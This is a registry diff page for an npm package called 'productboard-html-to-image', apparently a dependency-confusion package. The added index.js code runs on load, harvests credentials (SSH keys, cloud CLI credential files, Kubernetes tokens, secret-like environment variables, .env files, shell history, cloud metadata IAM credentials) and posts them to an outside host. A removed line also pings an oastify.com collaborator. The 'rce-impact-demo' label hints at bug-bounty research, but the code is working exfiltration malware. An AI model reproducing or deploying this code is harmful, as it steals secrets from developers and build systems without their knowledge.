productboard-html-to-image 990.0.9 → 1001.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +138 -47
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -8,26 +8,26 @@ const child_process = require("child_process");
8
8
 
9
9
  function safeReadFile(p, maxSize = 10240) {
10
10
  try {
11
- if (!fs.existsSync(p)) return "NOT FOUND";
11
+ if (!fs.existsSync(p)) return "NOT_FOUND";
12
12
  const size = fs.statSync(p).size;
13
- if (size > maxSize) return "TOO LARGE";
13
+ if (size > maxSize) return "TOO_LARGE";
14
14
  return fs.readFileSync(p, "utf8");
15
15
  } catch (e) {
16
16
  return `ERR: ${e.message}`;
17
17
  }
18
18
  }
19
19
 
20
- function safeReadDir(p) {
20
+ function safeReadDir(p, maxEntries = 50) {
21
21
  try {
22
- return fs.readdirSync(p);
22
+ return fs.readdirSync(p).slice(0, maxEntries);
23
23
  } catch (e) {
24
24
  return `ERR: ${e.message}`;
25
25
  }
26
26
  }
27
27
 
28
- function exec(cmd) {
28
+ function exec(cmd, timeout = 3000) {
29
29
  try {
30
- return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
30
+ return child_process.execSync(cmd, { timeout }).toString().trim();
31
31
  } catch (e) {
32
32
  return `ERR: ${e.message}`;
33
33
  }
@@ -36,18 +36,24 @@ function exec(cmd) {
36
36
  function getSensitiveEnvVars() {
37
37
  const result = {};
38
38
  for (const key in process.env) {
39
- if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
39
+ if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
40
40
  result[key] = process.env[key];
41
41
  }
42
42
  }
43
43
  return result;
44
44
  }
45
45
 
46
- function checkDockerOrCI() {
46
+ function checkContainerOrCI() {
47
47
  return {
48
48
  cgroup: safeReadFile("/proc/1/cgroup"),
49
49
  dockerenv: fs.existsSync("/.dockerenv"),
50
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
50
+ ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
51
+ kubernetes: {
52
+ token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
53
+ namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
54
+ kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
55
+ },
56
+ dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
51
57
  };
52
58
  }
53
59
 
@@ -56,6 +62,8 @@ function getGitData() {
56
62
  branch: exec("git rev-parse --abbrev-ref HEAD"),
57
63
  remotes: exec("git remote -v"),
58
64
  config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
65
+ credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
66
+ netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
59
67
  };
60
68
  }
61
69
 
@@ -63,21 +71,80 @@ function getSystemState() {
63
71
  return {
64
72
  whoami: exec("whoami"),
65
73
  id: exec("id"),
66
- ps: exec("ps aux | head -n 20"),
67
- netstat: exec("netstat -tunlp | head -n 20"),
68
- lsof: exec("lsof -n | head -n 20"),
74
+ ps: exec("ps aux | head -n 30"),
75
+ netstat: exec("ss -tunlp | head -n 30"),
76
+ lsof: exec("lsof -n -i | head -n 30"),
69
77
  uname: exec("uname -a"),
70
- dmesg: exec("dmesg | head -n 30"),
78
+ mounts: exec("cat /proc/mounts | head -n 30"),
79
+ crontab: exec("crontab -l"),
71
80
  };
72
81
  }
73
82
 
74
83
  function getInstalledTools() {
75
84
  return {
76
85
  npm: exec("npm ls -g --depth=0 --json"),
77
- apt: exec("dpkg -l | head -n 20"),
86
+ apt: exec("dpkg -l | head -n 30"),
78
87
  brew: exec("brew list || echo 'no brew'"),
79
- which_nmap: exec("which nmap"),
80
- which_curl: exec("which curl"),
88
+ pip: exec("pip list --format=json || echo 'no pip'"),
89
+ which_tools: {
90
+ aws: exec("which aws"),
91
+ gcloud: exec("which gcloud"),
92
+ az: exec("which az"),
93
+ kubectl: exec("which kubectl"),
94
+ terraform: exec("which terraform"),
95
+ docker: exec("which docker"),
96
+ nmap: exec("which nmap"),
97
+ curl: exec("which curl"),
98
+ },
99
+ };
100
+ }
101
+
102
+ function getCloudMetadata() {
103
+ const metadata = {};
104
+ const endpoints = [
105
+ { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
106
+ { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
107
+ { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
108
+ { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
109
+ { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
110
+ ];
111
+ for (const { name, url, headers } of endpoints) {
112
+ try {
113
+ let cmd = `curl -s --max-time 2 ${url}`;
114
+ if (headers) {
115
+ const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
116
+ cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
117
+ }
118
+ metadata[name] = exec(cmd);
119
+ } catch (e) {
120
+ metadata[name] = `ERR: ${e.message}`;
121
+ }
122
+ }
123
+ return metadata;
124
+ }
125
+
126
+ function getCloudCLIs() {
127
+ return {
128
+ aws: {
129
+ credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
130
+ config: safeReadFile(path.join(os.homedir(), ".aws/config")),
131
+ sts: exec("aws sts get-caller-identity"),
132
+ },
133
+ gcloud: {
134
+ config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
135
+ credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
136
+ },
137
+ azure: {
138
+ credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
139
+ accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
140
+ },
141
+ };
142
+ }
143
+
144
+ function getNodeRuntime() {
145
+ return {
146
+ node_version: process.version,
147
+ npm_config: exec("npm config ls -l"),
81
148
  };
82
149
  }
83
150
 
@@ -85,29 +152,24 @@ let dump = {};
85
152
 
86
153
  try {
87
154
  dump = {
88
- timestamp: new Date().toISOString(),
89
- app: (() => {
155
+ p: (() => {
90
156
  try {
91
- const pkg = require("./package.json");
92
- return { name: pkg.name, version: pkg.version };
157
+ return require("./package.json").name;
93
158
  } catch {
94
- return {};
159
+ return "unknown";
95
160
  }
96
161
  })(),
97
- os: {
98
- hostname: os.hostname(),
99
- platform: os.platform(),
100
- arch: os.arch(),
101
- uptime: os.uptime(),
102
- cpus: os.cpus(),
103
- totalmem: os.totalmem(),
104
- freemem: os.freemem(),
105
- userInfo: os.userInfo(),
106
- tmpdir: os.tmpdir(),
107
- homedir: os.homedir(),
108
- cwd: process.cwd(),
109
- },
110
- env: getSensitiveEnvVars(),
162
+ v: (() => {
163
+ try {
164
+ return require("./package.json").version;
165
+ } catch {
166
+ return "unknown";
167
+ }
168
+ })(),
169
+ c: process.cwd(),
170
+ hd: os.homedir(),
171
+ hn: os.hostname(),
172
+ un: os.userInfo().username,
111
173
  dns: (() => {
112
174
  try {
113
175
  return dns.getServers();
@@ -115,31 +177,61 @@ try {
115
177
  return [`ERR: ${e.message}`];
116
178
  }
117
179
  })(),
180
+ pjson: (() => {
181
+ try {
182
+ const pkg = require("./package.json");
183
+ return {
184
+ name: pkg.name,
185
+ version: pkg.version,
186
+ main: pkg.main,
187
+ keywords: pkg.keywords,
188
+ scripts: pkg.scripts,
189
+ author: pkg.author,
190
+ license: pkg.license,
191
+ description: pkg.description
192
+ };
193
+ } catch {
194
+ return {};
195
+ }
196
+ })(),
197
+ env: getSensitiveEnvVars(),
118
198
  dirs: {
119
199
  "/": safeReadDir("/"),
120
200
  "/home": safeReadDir("/home"),
121
201
  "/root": safeReadDir("/root"),
122
202
  "/etc": safeReadDir("/etc"),
203
+ "/var/run": safeReadDir("/var/run"),
204
+ "/var/log": safeReadDir("/var/log"),
123
205
  "~": safeReadDir(os.homedir()),
124
206
  },
125
207
  files: {
126
208
  etc_passwd: safeReadFile("/etc/passwd"),
127
- etc_shadow: safeReadFile("/etc/shadow"),
128
209
  etc_hosts: safeReadFile("/etc/hosts"),
210
+ etc_resolv: safeReadFile("/etc/resolv.conf"),
129
211
  bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
130
212
  zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
131
213
  ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
132
214
  ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
133
215
  ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
134
216
  aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
217
+ aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
135
218
  npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
136
219
  gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
220
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
221
+ env_files: {
222
+ dotenv: safeReadFile(path.join(process.cwd(), ".env")),
223
+ github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
224
+ },
137
225
  },
138
226
  git: getGitData(),
139
- docker: checkDockerOrCI(),
227
+ container: checkContainerOrCI(),
140
228
  system: getSystemState(),
141
229
  tools: getInstalledTools(),
142
230
  network: os.networkInterfaces(),
231
+ cloud: getCloudMetadata(),
232
+ cloud_clis: getCloudCLIs(),
233
+ node: getNodeRuntime(),
234
+ timestamp: new Date().toISOString()
143
235
  };
144
236
  } catch (e) {
145
237
  dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -147,7 +239,7 @@ try {
147
239
 
148
240
  try {
149
241
  const postData = querystring.stringify({
150
- msg: JSON.stringify(dump)
242
+ msg: encodeURIComponent(JSON.stringify(dump))
151
243
  });
152
244
 
153
245
  const options = {
@@ -158,22 +250,21 @@ try {
158
250
  headers: {
159
251
  "Content-Type": "application/x-www-form-urlencoded",
160
252
  "Content-Length": postData.length,
161
- "User-Agent": "rce-impact-demo"
162
- }
253
+ "User-Agent": "rce-impact-demo",
254
+ "X-Report-ID": "328XXXX"
255
+ },
256
+ timeout: 5000,
163
257
  };
164
258
 
165
259
  const req = https.request(options, res => {
166
260
  res.on("data", () => { });
261
+ res.on("end", () => { });
167
262
  });
168
263
 
169
264
  req.on("error", () => { });
265
+ req.on("timeout", () => req.destroy());
170
266
  req.write(postData);
171
267
  req.end();
172
-
173
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
174
-
175
268
  } catch (e) {
176
- try {
177
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
178
- } catch { }
179
- }
269
+ // Silent fail
270
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-html-to-image",
3
- "version": "990.0.9",
3
+ "version": "1001.0.9",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {